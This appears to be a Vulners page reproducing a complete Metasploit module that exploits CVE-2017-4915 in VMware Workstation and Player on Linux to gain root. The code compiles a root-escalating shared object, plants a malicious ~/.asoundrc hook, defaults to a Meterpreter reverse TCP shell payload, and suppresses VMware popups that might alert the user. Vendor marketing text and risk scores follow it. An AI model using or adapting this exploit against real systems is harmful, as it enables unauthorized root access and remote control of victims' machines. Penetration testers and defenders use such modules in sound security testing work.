Lucene search
K

VMware Workstation ALSA Config File Local Privilege Escalation

🗓️ 18 Jun 2017 11:16:25Reported by Jann Horn, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 124 Views

VMware Workstation ALSA Config File Local Privilege Escalation. Exploits VMware Workstation Pro and Player on Linux by leveraging a vulnerability in ALSA configuration file to escalate privileges when launching a virtual machine with attached sound card

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VMware Workstation ALSA Config File Local Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in VMware Workstation Pro and
        Player on Linux which allows users to escalate their privileges by
        using an ALSA configuration file to load and execute a shared object
        as root when launching a virtual machine with an attached sound card.

        This module has been tested successfully on VMware Player version
        12.5.0 on Debian Linux 8 Jessie.
      },
      'References'     =>
        [
          [ 'CVE', '2017-4915' ],
          [ 'EDB', '42045' ],
          [ 'BID', '98566' ],
          [ 'URL', 'https://www.securitytracker.com/id/1038525' ],
          [ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
          [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
          [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
        ],
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jann Horn',    # Discovery and PoC
          'bcoles' # Metasploit
        ],
      'DisclosureDate' => '2017-05-22',
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
        ],
      'DefaultOptions' =>
        {
          'AppendExit'  => true,
          'PrependFork' => true,
          'WfsDelay'    => 30,
          'Payload'     => 'linux/x64/meterpreter_reverse_tcp'
        },
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Privileged'     => true,
      'Notes'          =>
        {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'DefaultTarget'  => 1))
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
      OptString.new('Xdisplay', [true, 'Display exploit will attempt to use', ':0'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def mkdir(path)
    vprint_status "Creating '#{path}' directory"
    cmd_exec "mkdir -p #{path}"
    register_dir_for_cleanup path
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def upload_and_compile(path, data, gcc_args='')
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end

    unless gcc_args.to_s.blank?
      gcc_cmd << " #{gcc_args}"
    end

    output = cmd_exec gcc_cmd

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    register_file_for_cleanup path
    chmod path
  end

  def check
    unless command_exists? '/usr/bin/vmplayer'
      print_error 'vmplayer is not installed. Exploitation will fail.'
      return CheckCode::Safe
    end
    vprint_good 'vmplayer is installed'

    unless has_gcc?
      print_error 'gcc is not installed. Compiling will fail.'
      return CheckCode::Safe
    end
    vprint_good 'gcc is installed'

    config = read_file('/etc/vmware/config') rescue ''
    if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
      version = Rex::Version.new $1.gsub(/\.$/, '')
      vprint_status "VMware is version #{version}"
    else
      vprint_error 'Could not determine VMware version.'
      return CheckCode::Detected
    end

    if version >= Rex::Version.new('12.5.6')
      vprint_error 'Target version is not vulnerable'
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6'
    if home_dir.blank?
      fail_with Failure::Unknown, "Could not find user's home directory"
    end

    unless writable? home_dir
      fail_with Failure::BadConfig, "#{home_dir} is not writable"
    end

    # Create a directory for the virtual machine and associated files
    vmx_name = rand_text_alphanumeric(10..15)
    vm_dir = "#{base_dir}/#{vmx_name}"
    mkdir vm_dir

    # Create shared object
    payload_name = rand_text_alphanumeric(10..15)
    so_name = rand_text_alphanumeric(10..15)
    so = <<-EOF
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
Original shared object code by jhorn
*/

#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
  uid_t ruid, euid, suid;
  if (getresuid(&ruid, &euid, &suid))
    err(1, "getresuid");
  if (ruid == 0 || euid == 0 || suid == 0) {
    if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
      err(1, "setresxid");
    system("#{vm_dir}/#{payload_name}");
    _exit(0);
  }
}
EOF

    upload_and_compile "#{vm_dir}/#{so_name}.so", strip_comments(so), '-fPIC -shared -Wall -ldl -std=gnu99'

    # Create virtual machine
    vmx = <<-EOF
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "8"
scsi0.present = "FALSE"
memsize = "4"
ide0:0.present = "FALSE"
sound.present = "TRUE"
sound.fileName = "-1"
sound.autodetect = "TRUE"
vmci0.present = "FALSE"
hpet0.present = "FALSE"
displayName = "#{vmx_name}"
guestOS = "other"
nvram = "#{vmx_name}.nvram"
virtualHW.productCompatibility = "hosted"
gui.exitOnCLIHLT = "FALSE"
powerType.powerOff = "soft"
powerType.powerOn = "soft"
powerType.suspend = "soft"
powerType.reset = "soft"
floppy0.present = "FALSE"
monitor_control.disable_longmode = 1
EOF

    upload "#{vm_dir}/#{vmx_name}.vmx", vmx
    upload_and_chmodx "#{vm_dir}/#{payload_name}", generate_payload_exe

    # Create ALSA sound config
    asoundrc = <<-EOF
hook_func.pulse_load_if_running {
  lib "#{vm_dir}/#{so_name}.so"
  func "conf_pulse_hook_load_if_running"
}
EOF

    upload "#{home_dir}/.asoundrc", asoundrc

    # Hint popups must be disabled.
    # Popups may cause the VMplayer process to hang open, awaiting input. They may also alert the user.
    # Also, firstRunDismissedVersion must be set to prevent registration popups on a fresh install.
    #
    # VMware uses '~' to determine the user's home directory when reading the preferences file:
    #   stat("~/.vmware/preferences", 0x7fffd18da340) = -1 ENOENT (No such file or directory)
    #   open("~/.vmware/preferences", O_RDONLY) = -1 ENOENT (No such file or directory)
    #
    # If we're executing in a shell without '~' expansion,
    # then we'll need to create this directory in the current working directory.
    vprint_status 'Disabling VMware popups...'

    unless cmd_exec("test -d ~ && echo true").include? 'true'
      mkdir '~'
    end
    unless cmd_exec("test -d ~/.vmware && echo true").include? 'true'
      mkdir '~/.vmware'
    end

    # Expand '~' to the appropriate full directory path and parse preferences
    prefs_file = cmd_exec "PATH=$PATH:/usr/bin realpath ~/.vmware/preferences"
    unless file? prefs_file
      cmd_exec "touch #{prefs_file}"
      register_file_for_cleanup prefs_file
    end

    prefs = cmd_exec("cat #{prefs_file}").to_s
    if prefs.blank?
      prefs = ".encoding = \"UTF8\"\n"
      prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
      prefs << "hints.hideAll = \"TRUE\"\n"
    elsif prefs =~ /hints\.hideAll/i
      prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
    else
      prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
    end
    vprint_status "Writing config file: #{prefs_file}"
    write_file prefs_file, prefs

    # Launch VMware in the background to prevent the existing session from dying
    print_status 'Launching VMware Player...'
    cmd_exec "DISPLAY=#{datastore['Xdisplay']} PATH=$PATH:/usr/bin vmplayer #{vm_dir}/#{vmx_name}.vmx & echo "
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Feb 2023 07:17Current
7.2High risk
Vulners AI Score7.2
CVSS 27.2
CVSS 37.8
EPSS0.05413
124